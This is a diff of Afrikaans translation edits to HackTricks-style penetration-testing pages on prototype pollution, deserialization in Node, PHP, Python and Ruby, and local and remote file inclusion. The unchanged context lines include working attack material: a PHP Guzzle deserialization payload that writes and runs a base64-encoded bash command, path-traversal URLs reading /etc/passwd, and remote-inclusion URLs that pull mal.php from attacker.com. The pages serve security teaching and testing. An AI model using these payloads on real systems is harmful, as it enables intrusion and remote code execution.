+Sodra 'n prototype pollution kwesbaarheid deur enige van die gereedskap geïdentifiseer is, en as die kode nie oormatig kompleks is nie, kan jy die kwesbaarheid vind deur te soek na sleutelwoorde soos `location.hash`, `decodeURIComponent`, of `location.search` in die Chrome Developer Tools. Hierdie benadering stel jou in staat om die kwesbare gedeelte van die JavaScript-kode te pinpoint.
 
 Vir groter en meer komplekse kodebasisse, behels 'n eenvoudige metode om die kwesbare kode te ontdek die volgende stappe:
 
@@ -48,7 +48,7 @@ debugAccess(Object.prototype, "ppmap")
 ```
 4. Navigeer terug na die **Sources** oortjie en kies “Resume script execution”. Die JavaScript sal voortgaan om uit te voer, en die 'ppmap' eienskap sal soos verwag besoedel word. Deur die verskafde snit te gebruik, kan die presiese ligging waar die 'ppmap' eienskap besoedel is, geïdentifiseer word. Deur die **Call Stack** te ondersoek, kan verskillende stakke waar die besoedeling plaasgevind het, waargeneem word.
 
-Wanneer jy besluit watter stap om te ondersoek, is dit dikwels nuttig om stakke te teiken wat geassosieer word met JavaScript-biblioteeklêers, aangesien prototipe besoedeling dikwels binne hierdie biblioteke voorkom. Identifiseer die relevante stap deur dit te ondersoek in verband met biblioteeklêers (sigbaar aan die regterkant, soortgelyk aan 'n beeld wat vir leiding gegee word). In scenario's met verskeie stakke, soos dié op lyne 4 en 6, is die logiese keuse die stap op lyn 4, aangesien dit die aanvanklike voorkoms van besoedeling verteenwoordig en dus die wortel oorsaak van die kwesbaarheid. Deur op die stap te klik, sal jy na die kwesbare kode gelei word.
+Wanneer jy besluit watter stap om te ondersoek, is dit dikwels nuttig om stakke te teiken wat met JavaScript-biblioteeklêers geassosieer word, aangesien prototipe besoedeling dikwels binne hierdie biblioteke voorkom. Identifiseer die relevante stap deur dit aan biblioteeklêers te koppel (sigbaar aan die regterkant, soortgelyk aan 'n beeld wat vir leiding verskaf). In scenario's met verskeie stakke, soos dié op lyne 4 en 6, is die logiese keuse die stap op lyn 4, aangesien dit die aanvanklike voorkoms van besoedeling verteenwoordig en dus die wortel oorsaak van die kwesbaarheid. Deur op die stap te klik, sal jy na die kwesbare kode gelei word.
 
 ![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
 
@@ -56,7 +56,7 @@ Wanneer jy besluit watter stap om te ondersoek, is dit dikwels nuttig om stakke
 
 Die gadget is die **kode wat misbruik sal word sodra 'n PP kwesbaarheid ontdek word**.
 
-As die aansoek eenvoudig is, kan ons **soek** na **sleutelwoorde** soos **`srcdoc/innerHTML/iframe/createElement`** en die brondkode hersien en kyk of dit l**eads to javascript execution**. Soms mag die genoem tegnieke glad nie gadgets vind nie. In daardie geval, onthul 'n suiwer brondkode hersiening 'n paar mooi gadgets soos die onderstaande voorbeeld.
+As die aansoek eenvoudig is, kan ons **soek** na **sleutelwoorde** soos **`srcdoc/innerHTML/iframe/createElement`** en die brondokument hersien en kyk of dit l**ead tot javascript uitvoering**. Soms mag die genoem tegnieke glad nie gadgets vind nie. In daardie geval, pure brondokument hersiening onthul 'n paar mooi gadgets soos die onderstaande voorbeeld.
 
 ### Voorbeeld Vind PP gadget in Mithil biblioteek kode
 

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md

@@ -6,9 +6,9 @@
 
 **Vir verdere besonderhede** [**kyk na die oorspronklike navorsing**](https://portswigger.net/research/server-side-prototype-pollution)
 
-### Verander JSON-inhouds tipe na HTML
+### Verander JSON inhouds tipe na HTML
 
-In 'n Express-app wat 'n **JSON-inhouds tipe antwoord** gebruik en 'n JSON reflekteer:
+In 'n Express-toepassing wat 'n **JSON inhouds tipe antwoord** gebruik en 'n JSON reflekteer:
 ```javascript
 app.use(bodyParser.json({ type: "application/json" }))
 app.post("/", function (req, res) {
@@ -32,7 +32,7 @@ Dit is moontlik om express **UTF-7 inhoud te laat render met**:
 
 ### JSON spasie
 
-Die volgende PP sal eienskappe binne 'n JSON 'n ekstra spasie gee wat die funksionaliteit nie sal breek nie:
+Die volgende PP sal eienskappe binne 'n JSON 'n ekstra spasie gee wat nie die funksionaliteit sal breek nie:
 ```json
 { "__proto__": { "json spaces": " " } }
 ```

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md

@@ -4,7 +4,7 @@
 
 ## Kwetsbare Kode
 
-Stel jou voor 'n werklike JS wat 'n kode soos die volgende gebruik:
+Stel jou 'n werklike JS voor wat 'n kode soos die volgende gebruik:
 ```javascript
 const { execSync, fork } = require("child_process")
 
@@ -39,9 +39,9 @@ var proc = fork("a_file.js")
 ```
 ## PP2RCE via env vars
 
-**PP2RCE** beteken **Prototype Pollution to RCE** (Afgeleë Kode Uitvoering).
+**PP2RCE** beteken **Prototype Pollution to RCE** (Remote Code Execution).
 
-Volgens hierdie [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geopen** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
+Volgens hierdie [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geproduseer** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
 ```javascript
 //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
 
@@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
 }
 }
 ```
-Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs` te vergiftig** net deur die **attribuut `.env` te besoedel.**
+Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs`** te **besmet** net deur die **attribuut `.env`** te **besmet**.
 
-### **Vergiftiging van `__proto__`**
+### **Besmetting van `__proto__`**
 
 > [!WARNING]
-> Let daarop dat, as gevolg van hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets aangeroep word om **'n nuwe omgewing veranderlike** vir die proses in te stel, jy net moet **enige iets besoedel**.\
-> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n veranderlike genaamd `avar` met die waarde `valuevar` geskep word.
+> Let daarop dat weens hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets geroep word om 'n **nuwe omgewing veranderlike** vir die proses in te stel, jy net moet **besmet enigiets**.\
+> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n var genaamd `avar` met waarde `valuevar` geskep word.
 >
-> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** besoedel en (slegs in sommige metodes) sal daardie veranderlike die **eerste een** wees (wat die aanval toelaat).
+> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besmet** en (slegs in sommige metodes) sal daardie var die **eerste een** wees (wat die aanval toelaat).
 >
 > Dit is waarom **`NODE_OPTIONS`** **nie binne `.env`** in die volgende aanval is.
 ```javascript
@@ -173,7 +173,7 @@ Of, om WAF's te vermy om vir die domein te vra:
 ```
 ## PP2RCE kwesbaarheid child_process funksies
 
-In hierdie afdeling gaan ons **elke funksie van `child_process`** ontleed om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
+In hierdie afdeling gaan ons **elke funksie van `child_process`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
 
 <details>
 
@@ -228,9 +228,9 @@ var proc = execFile("/usr/bin/node")
 // Windows - not working
 ```
 Vir **`execFile`** om te werk, moet dit **node** uitvoer sodat die NODE_OPTIONS kan werk.\
-As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word, kan **verander met omgewing veranderlikes** en dit stel.
+As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word **met omgewing veranderlikes** kan **verander** en dit stel.
 
-Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **verander**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
+Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **wysig**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
 
 </details>
 
@@ -508,7 +508,7 @@ Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn
 
 - Vind 'n **`.js` lêer binne die stelsel** wat wanneer **vereis** sal **iets uitvoer met `child_process`**
 - As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai
-- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, te dwing
+- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, te afdwing
 - **Besoedel die environ/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie aangeroep word (sien die aanvanklike tegnieke)
 
 #### Absolute vereiste
@@ -638,7 +638,7 @@ fork("/path/to/anything")
 
 #### Relatiewe vereiste - 3
 
-Soos die vorige, is dit gevind in [**hierdie skrywe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
+Soortgelyk aan die vorige een, is dit gevind in [**hierdie skrywe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
 ```javascript
 // Requiring /opt/yarn-v1.22.19/preinstall.js
 Object.prototype["data"] = {
@@ -661,7 +661,7 @@ require("./usage.js")
 ## VM Gadgets
 
 In die papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) word ook aangedui dat die beheer van **`contextExtensions`** van sommige metodes van die **`vm`** biblioteek as 'n gadget gebruik kan word.\
-Echter, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
+E however, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
 
 ## Fixes & Unexpected protections
 

src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

@@ -12,7 +12,7 @@ Stappe:
 
 - Jy het 'n **deserialisering** gevind en daar **is geen gadget** in die huidige app kode nie
 - Jy kan 'n **`spl_autoload_register`** funksie soos die volgende misbruik om **enige plaaslike lêer met `.php` uitbreiding** te **laai**
-- Hiervoor gebruik jy 'n deserialisering waar die naam van die klas binne **`$name`** gaan wees. Jy **kan nie "/" of "."** in 'n klasnaam in 'n geserialiseerde objek gebruik nie, maar die **kode** vervang die **onderstreepte** ("\_") **met skewe strepies** ("/"). So 'n klasnaam soos `tmp_passwd` sal omgeskakel word na `/tmp/passwd.php` en die kode sal probeer om dit te laai.\
+- Hiervoor gebruik jy 'n deserialisering waar die naam van die klas binne **`$name`** gaan wees. Jy **kan nie "/" of "."** in 'n klasnaam in 'n geserialiseerde objek gebruik nie, maar die **kode** vervang die **onderstreepte** ("\_") **met skewe streep** ("/"). So 'n klasnaam soos `tmp_passwd` sal omgeskakel word na `/tmp/passwd.php` en die kode sal probeer om dit te laai.\
 'n **Gadget voorbeeld** sal wees: **`O:10:"tmp_passwd":0:{}`**
 ```php
 spl_autoload_register(function ($name) {
@@ -43,12 +43,12 @@ In my geval, het ek niks soos dit gehad nie, maar daar was binne die **dieselfde
 - Om hierdie ander biblioteek te laai, moet jy eers die **komponislaaier van daardie ander webtoepassing laai** (want die een van die huidige toepassing sal nie toegang hê tot die biblioteke van die ander nie). **Deur die pad van die toepassing te ken**, kan jy dit baie maklik bereik met: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my geval was die komponislaaier in `/www/frontend/vendor/autoload.php`)
 - Nou kan jy die **ander app komponislaaier laai**, so dit is tyd om die **`phpgcc`** **payload** te **genereer** om te gebruik. In my geval het ek **`Guzzle/FW1`** gebruik, wat my toegelaat het om **enige lêer binne die lêerstelsel te skryf**.
 - LET WEL: Die **gegenereerde gadget het nie gewerk nie**, om dit te laat werk het ek daardie payload **`chain.php`** van phpggc **gewysig** en **alle eienskappe** van die klasse **van privaat na publiek** gestel. As dit nie gedoen word nie, het die eienskappe van die geskepte objek na deserialisering van die string geen waardes gehad nie.
-- Nou het ons die manier om die **ander app komponislaaier te laai** en 'n **phpggc payload wat werk**, maar ons moet dit **in dieselfde versoek doen sodat die laaier gelaai kan word wanneer die gadget gebruik word**. Hiervoor het ek 'n geserialiseerde array met albei objekten gestuur soos:
+- Nou het ons die manier om die **ander app komponislaaier te laai** en 'n **phpggc payload wat werk**, maar ons moet dit **in dieselfde versoek doen sodat die laaier gelaai kan word wanneer die gadget gebruik word**. Hiervoor het ek 'n geserialiseerde array met albei objekte gestuur soos:
 - Jy kan **eers die laaier sien wat gelaai word en dan die payload**
 ```php
 a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
 ```
-- Nou kan ons **'n lêer skep en skryf**, egter, die gebruiker **kon nie in enige gids binne die webbediener skryf nie**. Soos jy in die payload kan sien, word PHP **`system`** met 'n paar **base64** geskep in **`/tmp/a.php`**. Dan kan ons **die eerste tipe payload hergebruik** wat ons gebruik het as LFI om die komponislaaier van die ander webapp **te laai die gegenereerde `/tmp/a.php`** lêer. Voeg dit net by die deserialisering gadget:&#x20;
+- Nou kan ons **'n lêer skep en skryf**, egter, die gebruiker **kon nie in enige gids binne die webbediener skryf nie**. Soos jy in die payload kan sien, word PHP **`system`** met 'n paar **base64** geskep in **`/tmp/a.php`**. Dan kan ons **die eerste tipe payload hergebruik** wat ons gebruik het as LFI om die composer loader van die ander webapp te laai **om die gegenereerde `/tmp/a.php`** lêer te laai. Voeg dit net by die deserialisering gadget:&#x20;
 ```php
 a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
 ```
@@ -57,8 +57,8 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
 - **Laai die composer autoload** van 'n ander webapp in dieselfde houer
 - **Laai 'n phpggc gadget** om 'n biblioteek van die ander webapp te misbruik (die aanvanklike webapp wat kwesbaar was vir deserialisering het nie enige gadget in sy biblioteke gehad nie)
 - Die gadget sal **'n lêer met 'n PHP payload** daarop in /tmp/a.php met kwaadwillige opdragte skep (die webapp gebruiker kan nie in enige gids van enige webapp skryf nie)
-- Die finale deel van ons payload sal **die gegenereerde php lêer laai** wat opdragte sal uitvoer
+- Die finale deel van ons payload sal **die gegenereerde php-lêer laai** wat opdragte sal uitvoer
 
-Ek moes **hierdie deserialisering twee keer aanroep**. In my toetse is die eerste keer die `/tmp/a.php` lêer geskep maar nie gelaai nie, en die tweede keer is dit korrek gelaai. 
+Ek moes **hierdie deserialisering twee keer aanroep**. In my toetsing is die eerste keer die `/tmp/a.php` lêer geskep maar nie gelaai nie, en die tweede keer is dit korrek gelaai. 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/python-yaml-deserialization.md

@@ -4,7 +4,7 @@
 
 ## Yaml **Deserialisering**
 
-**Yaml** python biblioteke is ook in staat om **python voorwerpe** te **serialiseer** en nie net ruwe data nie:
+**Yaml** python biblioteke is ook in staat om **python voorwerpe** te **serialiseer** en nie net rou data nie:
 ```
 print(yaml.dump(str("lol")))
 lol
@@ -26,7 +26,7 @@ Kontroleer hoe die **tuple** nie 'n rou tipe data is nie en daarom is dit **gese
 
 ![](<../../images/image (1040).png>)
 
-**safe_load()** of **safe_load_all()** gebruik SafeLoader en **ondersteun nie klas objek deserialisering** nie. Klas objek deserialisering voorbeeld:
+**safe_load()** of **safe_load_all()** gebruik SafeLoader en **ondersteun nie klas objek deserialisering nie**. Klas objek deserialisering voorbeeld:
 ```python
 import yaml
 from yaml import UnsafeLoader, FullLoader, Loader
@@ -49,7 +49,7 @@ Die vorige kode het **unsafe_load** gebruik om die geserialiseerde python klas t
 
 ### Basiese Exploit
 
-Voorbeeld van hoe om **'n slaap uit te voer**:
+Voorbeeld van hoe om 'n **slaap** te **uitvoer**:
 ```python
 import yaml
 from yaml import UnsafeLoader, FullLoader, Loader
@@ -87,7 +87,7 @@ state:
 ],
 }
 ```
-Let wel dat jy in **onlangs weergawes** nie meer **`.load()`** kan **aanroep sonder 'n `Loader`** nie en die **`FullLoader`** is **nie meer kwesbaar** vir hierdie aanval nie.
+Let wel dat jy in **onlangs weergawes** nie meer **`.load()`** **sonder 'n `Loader`** kan **aanroep nie** en die **`FullLoader`** is **nie meer kwesbaar** vir hierdie aanval nie.
 
 ## RCE
 

src/pentesting-web/deserialization/ruby-_json-pollution.md

@@ -4,6 +4,7 @@
 
 Dit is 'n opsomming van die pos [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)
 
+
 ## Basiese inligting
 
 Wanneer 'n liggaam gestuur word, sal sommige waardes wat nie hashable is nie, soos 'n array, by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` in die liggaam in te stel met die arbitrêre waardes wat hy wil. Dan, as die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word.

src/pentesting-web/deserialization/ruby-class-pollution.md

@@ -4,7 +4,7 @@
 
 Dit is 'n opsomming van die pos [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
 
-## Merge op Attribuut
+## Merge op Attribuutte
 
 Voorbeeld:
 ```ruby
@@ -143,8 +143,8 @@ JSONMergerApp.run(json_input)
 ```
 ### Verduideliking
 
-1. **Privilegie Eskalasie**: Die `authorize` metode kyk of `to_s` "Admin" teruggee. Deur 'n nuwe `to_s` attribuut deur JSON in te voeg, kan 'n aanvaller die `to_s` metode laat teruggee "Admin," wat ongeoorloofde privilegies toeken.
-2. **Afgeleë Kode Uitvoering**: In `health_check`, voer `instance_eval` metodes uit wat in `protected_methods` gelys is. As 'n aanvaller pasgemaakte metodename (soos `"puts 1"`) invoeg, sal `instance_eval` dit uitvoer, wat lei tot **afgeleë kode uitvoering (RCE)**.
+1. **Privilegie Eskalasie**: Die `authorize` metode kyk of `to_s` "Admin" teruggee. Deur 'n nuwe `to_s` attribuut deur JSON in te spuit, kan 'n aanvaller die `to_s` metode laat teruggee "Admin," wat ongeoorloofde voorregte toeken.
+2. **Afgeleë Kode Uitvoering**: In `health_check`, `instance_eval` voer metodes uit wat in `protected_methods` gelys is. As 'n aanvaller pasgemaakte metodename (soos `"puts 1"`) inspuit, sal `instance_eval` dit uitvoer, wat lei tot **afgeleë kode uitvoering (RCE)**.
 1. Dit is slegs moontlik omdat daar 'n **kwetsbare `eval` instruksie** is wat die stringwaarde van daardie attribuut uitvoer.
 3. **Impak Beperking**: Hierdie kwesbaarheid raak slegs individuele instansies, wat ander instansies van `User` en `Admin` onaangeraak laat, en beperk dus die omvang van die uitbuiting.
 
@@ -168,7 +168,7 @@ end
 ```
 ### Hashie se `deep_merge`
 
-Hashie se `deep_merge` metode werk direk op objekattributen eerder as op gewone hashes. Dit **verhoed die vervanging van metodes** met attributen in 'n samesmelting met sommige **uitsonderings**: attributen wat eindig met `_`, `!`, of `?` kan steeds in die objek gesmelt word.
+Hashie se `deep_merge` metode werk direk op objekattributen eerder as op gewone hashes. Dit **verhoed die vervanging van metodes** met attributen in 'n samesmelting met 'n paar **uitsonderings**: attributen wat eindig op `_`, `!`, of `?` kan steeds in die objek gesmelt word.
 
 'n Spesiale geval is die attribuut **`_`** op sy eie. Net `_` is 'n attribuut wat gewoonlik 'n `Mash` objek teruggee. En omdat dit deel is van die **uitsonderings**, is dit moontlik om dit te verander.
 
@@ -246,7 +246,7 @@ end
 json_input = ARGV[0]
 JSONMergerApp.run(json_input)
 ```
-## Besmet die Klasse <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
+## Poison die Klasse <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
 
 In die volgende voorbeeld is dit moontlik om die klas **`Person`** te vind, en die klasse **`Admin`** en **`Regular`** wat van die **`Person`** klas erf. Dit het ook 'n ander klas genaamd **`KeySigner`**:
 ```ruby

src/pentesting-web/file-inclusion/README.md

@@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**
 
-**Deur verskeie \*nix LFI lysies te meng en meer paaie by te voeg, het ek hierdie een geskep:**
+**Deur verskeie \*nix LFI-lists te meng en meer paaie by te voeg, het ek hierdie een geskep:**
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
 
@@ -80,20 +80,20 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 ### Verkenning van Lêerstelsels op 'n Bediening
 
-Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
+Die lêerstelsel van 'n bediener kan herhalend verken word om direkteure te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die diepte van die direkteur en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
 
-1. **Bepaal Directory Diepte:** Bepaal die diepte van jou huidige directory deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
+1. **Bepaal Direkteur Diepte:** Bepaal die diepte van jou huidige direkteur deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Dienste vir Gidsen:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
+2. **Dienste vir Gidsen:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Interpret die Resultate:** Die bediener se antwoord dui aan of die gids bestaan:
 - **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde plek nie.
 - **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
-4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met behulp van dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
+4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
 
 Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
 ```bash
@@ -101,13 +101,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Pad Afkorting Tegniek**
 
-Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat bykomende karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
+Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
 
 In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
 
 - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad hanteer.
 - Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
-- Op soortgelyke wyse, as `.php` aan 'n lêerpad bygevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry nie, verander.
+- Op soortgelyke wyse, as `.php` aan 'n lêerpad (soos `shellcode.php`) gevoeg word, sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry word, verander nie.
 
 Die verskafde voorbeelde demonstreer hoe om pad afkorting te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
 ```
@@ -119,15 +119,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In hierdie scenario's kan die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
+In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
 
 - **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde strings deur die bediener ignoreer.
 - **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde strings (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
-- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om die vereistes van die bediener se pad parsingslogika te vervul.
+- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
 
 Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
 
-**Hierdie kwesbaarheid is reggestel in PHP 5.3.**
+**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
 
 ### **Filter omseil truuks**
 ```
@@ -139,25 +139,25 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion
 
-In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
+In php is dit standaard gedeaktiveer omdat **`allow_url_include`** is **Af.** Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-As dit om een of ander rede **`allow_url_include`** **Aan** is, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
+As dit om een of ander rede **`allow_url_include`** is **Aan**, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
 ```
